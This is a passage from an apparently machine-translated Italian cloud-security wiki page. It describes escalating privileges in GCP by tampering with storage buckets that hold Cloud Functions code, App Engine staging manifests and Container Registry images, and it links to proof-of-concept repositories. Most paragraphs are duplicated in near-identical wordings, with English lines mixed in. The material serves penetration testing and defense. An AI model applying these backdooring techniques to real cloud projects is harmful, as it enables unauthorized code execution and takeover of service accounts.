**Puoi trovare una PoC di questo attacco nel repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs**](https://github.com/carlospolop/Monitor-Backdoor-Composer-DAGs)
### Cloud Functions
- Il codice di Cloud Functions è memorizzato in Storage e ogni volta che viene creata una nuova versione il codice viene caricato nel bucket e poi il nuovo container viene costruito da questo codice. Pertanto, **sovrascrivendo il codice prima che la nuova versione venga costruita è possibile far eseguire alla Cloud Function codice arbitrario**.
- Il codice di Cloud Functions è memorizzato in Storage e ogni volta che viene creata una nuova versione il codice viene pushato nel bucket e poi il nuovo container viene costruito da quel codice. Pertanto, **sovrascrivendo il codice prima che la nuova versione venga costruita è possibile far eseguire codice arbitrario alla cloud function**.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
**Puoi trovare una PoC di questo attacco nel repo:** [**https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions**](https://github.com/carlospolop/Monitor-Backdoor-Cloud-Functions)
### App Engine
Le versioni di AppEngine generano alcuni dati all'interno di un bucket con nome nel formato: `staging.<project-id>.appspot.com`. All'interno di questo bucket è possibile trovare una cartella chiamata `ae` che conterrà una cartella per versione dell'app AppEngine e all'interno di queste cartelle sarà possibile trovare il file `manifest.json`. Questo file contiene un JSON con tutti i file che devono essere usati per creare la specifica versione. Inoltre, è possibile trovare i **nomi reali dei file, l'URL verso di essi all'interno del bucket GCP (i file dentro il bucket hanno cambiato nome con il loro sha1 hash) e l'hash sha1 di ciascun file.**
Le versioni di AppEngine generano alcuni dati dentro un bucket con nome: `staging.<project-id>.appspot.com`. All'interno di questo bucket è possibile trovare una cartella chiamata `ae` che conterrà una cartella per ogni versione dell'app AppEngine e dentro queste cartelle si troverà il file `manifest.json`. Questo file contiene un json con tutti i file che devono essere usati per creare quella specifica versione. Inoltre, è possibile trovare i **nomi reali dei file, la URL a essi dentro il bucket GCP (i file nel bucket hanno cambiato nome con il loro sha1 hash) e l'hash sha1 di ciascun file.**
_Note that it's not possible to pre-takeover this bucket because GCP users aren't authorized to generate buckets using the domain name appspot.com._
_Note che non è possibile effettuare un pre-takeover di questo bucket perché gli utenti GCP non sono autorizzati a generare bucket usando il dominio appspot.com._
Tuttavia, con accesso di lettura e scrittura su questo bucket, è possibile escalare privilegi alla SA associata alla versione di App Engine monitorando il bucket e ogni volta che viene effettuato un cambiamento (nuova versione), modificare la nuova versione il più rapidamente possibile. In questo modo, il container che viene creato da questo codice eseguirà il codice backdoored.
Tuttavia, con accesso di lettura e scrittura su questo bucket, è possibile escalare i privilegi alla SA associata alla versione di App Engine monitorando il bucket e ogni volta che viene effettuata una modifica (nuova versione), modificare la nuova versione il più rapidamente possibile. In questo modo, il container creato da quel codice eseguirà il codice backdoored.
L'attacco menzionato può essere eseguito in molti modi diversi, tutti partono dal monitorare il bucket `staging.<project-id>.appspot.com`:
L'attacco menzionato può essere eseguito in molti modi diversi; tutti iniziano monitorando il bucket `staging.<project-id>.appspot.com`:
- Caricare il codice completo della nuova versione di AppEngine in un bucket diverso e disponibile e preparare un **`manifest.json` con il nuovo nome del bucket e gli sha1 hash dei file**. Poi, quando viene creata una nuova versione dentro il bucket, sarà sufficiente modificare il `manifest.json` e caricare quello malevolo.
- Caricare una versione modificata di `requirements.txt` che userà il **codice delle dipendenze malevole e aggiornare il `manifest.json`** con il nuovo filename, URL e hash.
- Caricare un file **`main.py` o `app.yaml` modificato che eseguirà il codice malevolo** e aggiornare il `manifest.json` con il nuovo filename, URL e hash.
- Caricare il codice completo della nuova versione di AppEngine in un bucket diverso e disponibile e preparare un file **`manifest.json`** con il nuovo nome del bucket e gli sha1 hash dei file. Poi, quando viene creata una nuova versione nel bucket, basta modificare il `manifest.json` e caricare quello maligno.
- Caricare una versione modificata di **`requirements.txt`** che utilizzi dipendenze con codice maligno e aggiornare il `manifest.json` con il nuovo filename, URL e l'hash relativo.
- Caricare un **`main.py` o `app.yaml` modificato** che esegua il codice maligno e aggiornare il `manifest.json` con il nuovo filename, URL e l'hash relativo.
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
**Puoi trovare una PoC di questo attacco nel repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
### GCR
- **Google Container Registry** memorizza le immagini all'interno di bucket; se puoi **scrivere in quei bucket** potresti essere in grado di **muoverti lateralmente verso i servizi dove quelle immagini vengono eseguite.**
- Il bucket usato da GCR avrà un URL simile a `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (I sottodomini di livello superiore sono specificati [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
- **Google Container Registry** memorizza le immagini dentro bucket; se puoi **scrivere in quei bucket** potresti essere in grado di **move laterally** verso dove quelle immagini vengono eseguite.
- Il bucket usato da GCR avrà un URL simile a `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` (I top level subdomains sono specificati [qui](https://cloud.google.com/container-registry/docs/pushing-and-pulling)).
> [!TIP]
> Questo servizio è deprecato quindi questo attacco non è più utile. Inoltre, Artifact Registry, il servizio che sostituisce questo, non memorizza le immagini in bucket.
## **References**
## **Riferimenti**
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)